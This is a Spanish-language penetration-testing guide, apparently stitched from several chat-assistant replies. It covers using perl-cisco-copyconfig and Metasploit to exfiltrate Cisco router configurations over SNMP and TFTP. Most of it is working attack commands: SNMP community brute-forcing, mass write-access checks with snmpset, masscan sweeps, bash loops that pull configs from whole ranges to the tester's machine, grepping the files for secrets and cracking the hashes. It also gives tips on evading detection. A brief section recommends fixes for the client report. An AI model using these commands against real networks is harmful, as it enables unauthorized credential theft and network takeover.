Copia de Configuración Cisco con Perl
Copia de Configuración Cisco con Perl
perl-cisco-copyconfig es una herramienta de línea de comandos escrita en Perl que permite copiar archivos de configuración hacia y desde dispositivos Cisco (routers, switches, etc.) utilizando el protocolo SNMP.
Es especialmente útil en auditorías de red o tareas de administración masiva cuando tienes las credenciales SNMP del dispositivo.
🛠️ Instalación en Kali Linux
Dado que es un script de Perl, puedes instalarlo directamente desde los repositorios oficiales de Kali:
sudo apt update
sudo apt install perl-cisco-copyconfig
🚀 Uso Básico
La sintaxis general de la herramienta es la siguiente:
cisco-copy-config.pl <IP_dispositivo> <IP_servidor_tftp> <nombre_archivo> <comunidad_snmp_RW>
Escenario común: Descargar la configuración (Running-Config)
Si quieres traer el archivo de configuración de un router a tu propia máquina:
Inicia tu servidor TFTP en Kali (asegúrate de que el directorio
/srv/tftpsea escribible).Ejecuta el comando:
Bashcisco-copy-config.pl 192.168.1.1 192.168.1.50 mi-config.txt private192.168.1.1: IP del router Cisco.192.168.1.50: Tu IP (donde corre el servidor TFTP).mi-config.txt: El nombre que tendrá el archivo guardado.private: La cadena de comunidad SNMP con permisos de escritura (RW).
📋 Requisitos Previos Importantes
Para que esta herramienta funcione, se deben cumplir tres condiciones en el objetivo:
SNMP Habilitado: El dispositivo Cisco debe tener configurada una comunidad de lectura/escritura (RW).
Servidor TFTP: Debes tener un servidor TFTP corriendo en tu máquina atacante o en una IP alcanzable por el router.
Conectividad: No debe haber firewalls bloqueando el puerto UDP 161 (SNMP) ni los puertos de TFTP (UDP 69).
⚠️ Consideraciones de Seguridad
Protocolo inseguro: Tanto SNMP (v1/v2c) como TFTP envían información en texto claro. Las contraseñas del router podrían estar expuestas en el archivo
.txtdescargado (a menos que usenservice password-encryptionopassword 5).Permisos: Si la comunidad SNMP es solo de lectura (
RO), el script fallará. Necesitas obligatoriamente permisos de escritura para indicarle al router que inicie la copia.
En el contexto de un Pentest, esta herramienta es un "clásico" para la fase de post-explotación o cuando logras comprometer una cadena de comunidad SNMP con privilegios de escritura (RW).
Aquí te detallo cómo maximizar su utilidad y qué buscar una vez que obtengas el archivo:
🔍 Flujo de Ataque en Pentesting
Si has descubierto una comunidad SNMP (usualmente mediante herramientas como onesixtyone o snmp-check), el proceso para extraer información sensible es el siguiente:
1. Preparación del Receptor (Tu máquina)
Debes tener un servidor TFTP listo para recibir el botín. En Kali, lo más rápido es usar atftpd:
sudo mkdir /srv/tftp
sudo chmod 777 /srv/tftp
sudo atftpd --daemon /srv/tftp
2. Ejecución del Exfoliado
Lanzas perl-cisco-copyconfig para que el router "empuje" su configuración hacia ti:
cisco-copy-config.pl <IP_OBJETIVO> <TU_IP> backup_router.conf <COMUNIDAD_RW>
3. Análisis del Botín
Una vez que tengas el archivo backup_router.conf, lo más jugoso para un pentester es:
Hashes de Enable: Busca
enable secret 5(MD5) oenable secret 8/9(SHA-256/SCRYPT).Credenciales de Usuario: Usuarios locales y sus contraseñas.
Claves SNMP: Otras comunidades que podrían dar acceso a más dispositivos.
Configuración de VPN/Tunneling: Direcciones IP de otros saltos de red internos.
Listas de Control de Acceso (ACL): Para entender qué otros puertos están permitidos y hacia dónde.
🛠️ Herramientas Complementarias
Para crackear los hashes que obtengas del archivo de configuración, puedes usar:
John the Ripper:
john --format=md5crypt hashes.txt(para contraseñas tipo 5).Cisco 7 Password Decryptor:
Si encuentras contraseñas que empiezan por
password 7, estas no son hashes, sino ofuscaciones débiles. Puedes usarethereal-cracko cualquier herramienta online para verlas en texto plano instantáneamente.
🛡️ ¿Qué reportar en tu informe?
Si logras extraer la configuración mediante SNMP, el riesgo es Crítico. Debes recomendar al cliente:
Deshabilitar SNMP v1/v2c y migrar a SNMP v3, que soporta cifrado y autenticación fuerte.
Si deben usar SNMP v1/v2c, cambiar la comunidad
privatepor algo complejo y limitar el acceso mediante ACLs para que solo la IP del gestor de red pueda comunicarse.Usar
service password-encryption(mínimo) y preferirenable algorithm-type scryptpara los secretos.
Excelente, te encuentras en el punto crítico. En una prueba de penetración, saltar directamente a intentar copiar la configuración sin una enumeración sólida es como intentar abrir una caja fuerte sin saber si tienes la combinación correcta: solo harás ruido.
Para que perl-cisco-copyconfig funcione, necesitas confirmar que la comunidad tiene permisos de escritura (RW). La mayoría de las comunidades por defecto son public (Read-Only), pero tú buscas la "mina de oro", que suele ser private u otras personalizadas con permisos de escritura.
🔍 Estrategia de Enumeración SNMP
Aquí tienes el "roadmap" técnico para identificar si el objetivo es vulnerable:
1. Descubrimiento de Comunidades (Brute Force/Guessing)
No asumas que solo existen public o private. Usa diccionarios específicos:
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt <IP_OBJETIVO>
Si onesixtyone te devuelve una comunidad, el siguiente paso es verificar sus permisos.
2. Verificación de permisos RW (Escritura)
La forma más sencilla de saber si tienes acceso de escritura antes de usar el script de Perl es intentar cambiar un valor inofensivo en el dispositivo, como el sysContact o el sysLocation.
Usa snmpset (parte del paquete snmp en Kali):
snmpset -v2c -c <COMUNIDAD> <IP_OBJETIVO> 1.3.6.1.2.1.1.6.0 s "Laboratorio_Pentest"
Si el comando tiene éxito: Tienes permisos RW. Ya puedes usar
perl-cisco-copyconfig.Si recibes "Error in packet: (noWritable)": La comunidad es Read-Only. Podrás ver información, pero no extraer el archivo de configuración con este método.
3. Inspección Profunda con snmp-check
Antes de extraer el running-config, obtén una visión general del dispositivo:
snmp-check <IP_OBJETIVO> -c <COMUNIDAD>
Esto te dirá el modelo exacto de Cisco, las interfaces activas y, a veces, incluso las rutas estáticas, lo cual te dará contexto para cuando logres bajar el archivo completo.
📋 Tabla de OIDs Críticos para Cisco
Si decides no usar el script y prefieres investigar manualmente mediante SNMP, estos son los OIDs (Object Identifiers) que te darán información clave:
| Información | OID |
| Versión de IOS | 1.3.6.1.2.1.1.1.0 |
| Nombre del Host | 1.3.6.1.2.1.1.5.0 |
| Tiempo de actividad | 1.3.6.1.2.1.1.3.0 |
| Interfaces de Red | 1.3.6.1.2.1.2.2.1.2 |
💡 Consejo Pro: El "Cisco Config Copy MIB"
El script perl-cisco-copyconfig automatiza una serie de comandos SNMP que interactúan con una MIB específica de Cisco (CISCO-CONFIG-COPY-MIB). Lo que hace el script por debajo es:
Crear una fila temporal en la tabla de copia del router.
Definir el protocolo (TFTP).
Definir la IP de destino (tu Kali).
Definir el nombre del archivo.
Cambiar el estado a active para disparar la transferencia.
Si ya estás en ello, te doy un par de trucos tácticos para que esa fase de enumeración sea realmente efectiva y no te quedes solo en lo superficial.
1. Amplía tus diccionarios
Si los diccionarios por defecto de Kali (/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt) no te dan resultados, prueba con variantes que incluyan:
Nombres de la empresa:
Empresa2024,AdminEmpresa,LecturaEmpresa.Ubicaciones:
DataCenter_Madrid,Rack_Piso1.Modelos de equipo:
Catalyst,Nexus,Cisco3850.
2. El "Falso Negativo" de SNMP
Recuerda que SNMP usa UDP. A diferencia de TCP, si un puerto UDP está filtrado o el dispositivo está muy cargado, es posible que no recibas respuesta y pienses que el puerto está cerrado.
Tip: Baja la velocidad de escaneo (
--rateenonesixtyone) si sospechas que hay un firewall o IPS monitorizando la tasa de paquetes.
3. Escalada Rápida: De RO a RW
Si durante tu enumeración solo encuentras comunidades de lectura (RO), no te desanimes. Úsalas para extraer:
Listas de usuarios: Para intentar ataques de fuerza bruta por SSH/VTY.
Versión del IOS: Para buscar vulnerabilidades específicas (Exploits) que permitan ejecución remota de comandos (RCE) sin necesidad de SNMP Write.
4. Automatización en Metasploit
Si prefieres tener todo centralizado en el framework, una vez identificada la comunidad, puedes usar:
auxiliary/scanner/snmp/snmp_login -> Para verificar credenciales.
auxiliary/admin/snmp/cisco_config_tftp -> Que hace exactamente lo mismo que el script de Perl pero dentro de Metasploit.
Si estás escaneando un rango completo (un segmento de red /24 o mayor), la eficiencia y el sigilo son clave. Escanear SNMP en redes amplias puede generar mucho "ruido" o, por el contrario, dar muchos falsos negativos si el tiempo de respuesta (timeout) no está bien ajustado.
Aquí tienes la táctica recomendada para procesar un rango completo y filtrar los objetivos para perl-cisco-copyconfig:
🛰️ Fase 1: Descubrimiento Rápido (Sweep)
No uses herramientas lentas para el primer barrido. Usa ZMap o Masscan para identificar qué IPs tienen el puerto UDP 161 abierto en cuestión de segundos:
# Escaneo rápido del rango con Masscan
sudo masscan -pU:161 192.168.1.0/24 --rate 1000
Una vez que tengas la lista de IPs vivas, pásalas a un archivo objetivos.txt.
🕵️ Fase 2: Enumeración de Comunidades en Masa
Con la lista de IPs que responden, usa onesixtyone para probar el diccionario contra todas simultáneamente:
onesixtyone -c /usr/share/wordlists/metasploit/snmp_default_pass.txt -i objetivos.txt
Lo que debes buscar en la salida:
Comunidades diferentes a "public": Cualquier cadena personalizada es una candidata perfecta para probar permisos de escritura.
Descripción del sistema: Si ves "Cisco IOS", "Cisco NX-OS" o "Catalyst", marca esa IP como prioridad para el script de Perl.
🛠️ Fase 3: Filtrado de Escritura (El "Check" de Oro)
Para no perder tiempo ejecutando el script de copia en 50 dispositivos que quizás son solo de lectura, puedes usar un "one-liner" de bash para verificar el acceso RW en masa:
for ip in $(cat objetivos.txt); do
echo "Probando $ip..."
snmpset -v2c -c private $ip 1.3.6.1.2.1.1.6.0 s "Test" && echo "VULNERABLE: $ip tiene RW"
done
(Sustituye private por la comunidad que hayas encontrado).
⚠️ Consideraciones en Rangos Amplios
Segmentación de Red: En entornos corporativos, es común que los routers tengan el SNMP abierto hacia la red de gestión, pero bloqueado desde la red de usuarios. Si no recibes respuestas, intenta moverte lateralmente a otra VLAN antes de descartar el vector.
Trampas SNMP (Traps): Algunos sistemas de monitoreo (como SolarWinds o Nagios) detectan escaneos SNMP masivos. Si el entorno tiene mucha seguridad, reduce la velocidad (
rate) del escaneo.Falsos Positivos de Impresoras: En un rango
/24verás muchas impresoras con SNMP abierto. Puedes ignorarlas filtrando por el OID de descripción de sistema; las Cisco suelen identificarse claramente comoCisco Internetwork Operating System Software.
Si estás barriendo un rango completo, la organización de los datos que vas recolectando es lo que diferencia a un pentester eficiente de uno que se pierde en el ruido. Al escanear redes amplias, es muy común encontrar dispositivos Cisco que han sido olvidados o que tienen configuraciones de "legacy" con comunidades SNMP débiles.
Aquí tienes una estrategia para procesar ese rango de forma profesional:
1. Clasificación por "Fingerprinting"
No todos los dispositivos que responden a SNMP son iguales. Mientras esperas los resultados del escaneo, clasifica tus objetivos según la respuesta del sistema (SysDescr):
Core Switches/Routers: (Ej: Catalyst 6500, Nexus). Son tus objetivos prioritarios. Si obtienes su configuración, tienes el mapa de toda la red.
Edge/Branch Routers: (Ej: ISR 4000). Ideales para encontrar claves de VPN y túneles hacia otras sedes.
Access Switches: (Ej: 2960, 9200). Útiles para ver la seguridad de puertos (Port-security) y VLANs.
2. Automatización del Proceso "Scan-to-Copy"
Para no ejecutar perl-cisco-copyconfig manualmente IP por IP, puedes usar un script sencillo que procese tus hallazgos. Suponiendo que tienes un archivo hallazgos.txt con el formato IP:comunidad:
cat hallazgos.txt | while read line; do
IP=$(echo $line | cut -d: -f1)
COMM=$(echo $line | cut -d: -f2)
echo "--- Intentando extraer config de $IP con comunidad $COMM ---"
perl cisco-copy-config.pl $IP <TU_IP_TFTP> config_$IP.txt $COMM
done
3. Qué buscar en el "Palle de Datos" (Post-Extracción)
Cuando escaneas un rango grande, terminarás con decenas de archivos .txt. No los leas uno a uno; usa grep para buscar patrones críticos de forma masiva en tu carpeta de resultados:
grep -i "password\|secret" *.txt: Para encontrar hashes.grep -i "snmp-server community" *.txt: Para ver si hay otras comunidades RW ocultas en la configuración.grep -i "ip route" *.txt: Para mapear subredes que no conocías.grep -i "access-list" *.txt: Para identificar qué firewalls internos podrías saltarte.
⚠️ El "Peligro" del TFTP en redes grandes
Recuerda que perl-cisco-copyconfig le ordena al router conectarse a tu IP.
Si estás escaneando un rango que está detrás de un firewall o un NAT, el router intentará enviarte el archivo pero el tráfico TFTP será bloqueado.
Solución: Asegúrate de que tu máquina de Kali sea alcanzable por las IPs del rango que escaneas (prueba un
pingo untraceroutedesde una de las máquinas si ya tienes acceso inicial).